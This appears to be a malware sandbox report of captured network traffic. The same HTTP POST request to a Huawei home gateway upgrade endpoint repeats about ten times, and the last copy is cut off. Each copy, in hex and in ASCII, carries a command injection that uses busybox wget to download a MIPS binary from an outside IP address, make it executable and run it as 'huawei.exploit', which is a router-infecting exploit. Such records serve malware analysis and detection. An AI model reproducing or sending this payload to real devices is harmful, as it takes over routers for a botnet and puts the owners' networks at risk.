              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 